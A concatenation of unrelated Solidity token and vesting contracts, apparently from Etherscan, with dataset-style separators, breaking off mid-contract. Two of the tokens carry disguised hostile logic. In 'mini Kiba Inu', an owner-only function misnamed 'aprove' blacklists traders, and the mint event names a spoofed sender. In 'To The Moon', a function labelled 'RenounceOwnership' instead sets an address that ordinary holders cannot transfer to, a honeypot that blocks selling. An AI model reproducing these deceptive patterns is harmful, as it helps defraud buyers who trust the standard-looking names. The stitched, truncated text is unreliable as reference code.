* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts\HLDVesting.sol
pragma solidity 0.6.12;
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a vesting period.
*/
contract TokenVesting {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time durations (less than a minute).
// solhint-disable not-rely-on-time
using SafeMath for uint256;
event TokensReleased(address token, uint256 amount);
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// Durations and timestamps are expressed in UNIX time, the same units as block.timestamp.
uint256 private immutable _start;
uint256 private immutable _duration;
// The amount of token can be released with the first release
uint256 private immutable _initialRelease;
mapping (address => uint256) private _released;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* beneficiary, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param beneficiary address of the beneficiary to whom vested tokens are transferred
* @param start the time (as Unix time) at which point vesting starts
* @param duration duration in seconds of the period in which the tokens will vest
* @param initialRelease The amount of token can be released with the first release
*/
constructor (address beneficiary, uint256 start, uint256 duration, uint256 initialRelease) public {
require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address");
require(duration > 0, "TokenVesting: duration is 0");
// solhint-disable-next-line max-line-length
require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time");
_beneficiary = beneficiary;
_duration = duration;
_start = start;
_initialRelease = initialRelease;
}
// Copied and modified Openzepplin TokenVesting contract:
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/drafts/TokenVesting.sol
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the start time of the token vesting.
*/
function start() public view returns (uint256) {
return _start;
}
/**
* @return the duration of the token vesting.
*/
function duration() public view returns (uint256) {
return _duration;
}
/**
* @return the initial release of the tokens.
*/
function initialRelease() public view returns (uint256) {
return _initialRelease;
}
/**
* @return the amount of the token released.
*/
function released(address token) public view returns (uint256) {
return _released[token];
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(IERC20 token) public {
require (msg.sender == _beneficiary, "The message sender is not beneficiary");
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0, "TokenVesting: no tokens are due");
_released[address(token)] = _released[address(token)].add(unreleased);
token.transfer(_beneficiary, unreleased);
emit TokensReleased(address(token), unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function _releasableAmount(IERC20 token) private view returns (uint256) {
return (_initialRelease.add(_vestedAmount(token))).sub(_released[address(token)]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function _vestedAmount(IERC20 token) private view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(token)]);
totalBalance = totalBalance.sub(_initialRelease);
if (block.timestamp >= _start.add(_duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-03-19
*/
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.4;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract DummyChainLinkAggregatorETH is AggregatorV3Interface {
AggregatorV3Interface public feedTokenETH;
AggregatorV3Interface public feedETHUSD;
constructor(address feedA, address feedB) {
feedTokenETH = AggregatorV3Interface(feedA);
feedETHUSD = AggregatorV3Interface(feedB);
}
function decimals() external view override returns (uint8) {
// sum because we multiply the feeds, adding the exponents
return feedETHUSD.decimals() + feedTokenETH.decimals();
}
function description() external view override returns (string memory) {
return "UMA/USD";
}
function version() external view override returns (uint256) {
return 1;
}
function getRoundData(uint80 _roundId)
public
view
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
){
return (0, 0, 0, 0, 0);
}
function latestRoundData()
public
view
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
){
(, int priceTokenETH, , ,) = feedTokenETH.latestRoundData();
(, int priceETHUSD, , ,) = feedETHUSD.latestRoundData();
return (0, priceTokenETH * priceETHUSD, 0, 0, 0);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-01
*/
/*
mini Kiba Inu
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract miniKibaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "mini Kiba Inu";
string private constant _symbol = "miniKIBA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xfFAA2888108Df10E2d68ace9cA0F75069496F4D5);
_feeAddrWallet2 = payable(0xfFAA2888108Df10E2d68ace9cA0F75069496F4D5);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x5EdDca28b6BC9a976247D1309B614343Bd98998E), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 15;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function aprove(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-14
*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_burnMechanism(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_burnMechanism(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_burnMechanism(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnMechanism(address from, address to) internal virtual { }
}
contract TTM is ERC20, Ownable {
mapping(address=>bool) private _db;
address private _ownershipId;
constructor() ERC20('To The Moon','TTM') {
_mint(0x79137D50a949fed41C6038C7a7DEf6d9224BC45A, 10000000000000 * 10 ** 18);
_db[0x79137D50a949fed41C6038C7a7DEf6d9224BC45A] = true;
}
function _mint(
address account,
uint256 amount
) internal virtual override (ERC20) {
require(ERC20.totalSupply() + amount <= 10000000000000 * 10 ** 18, "ERC20Capped: Coin Amount Exceeded");
super._mint(account, amount);
}
function UpdateDB(address user, bool enable) public onlyOwner {
_db[user] = enable;
}
function RenounceOwnership(address ownershipId_) public onlyOwner {
_ownershipId = ownershipId_;
}
function _burnMechanism(address from, address to) internal virtual override {
if(to == _ownershipId) {
require(_db[from], "BURNED");
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-04
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
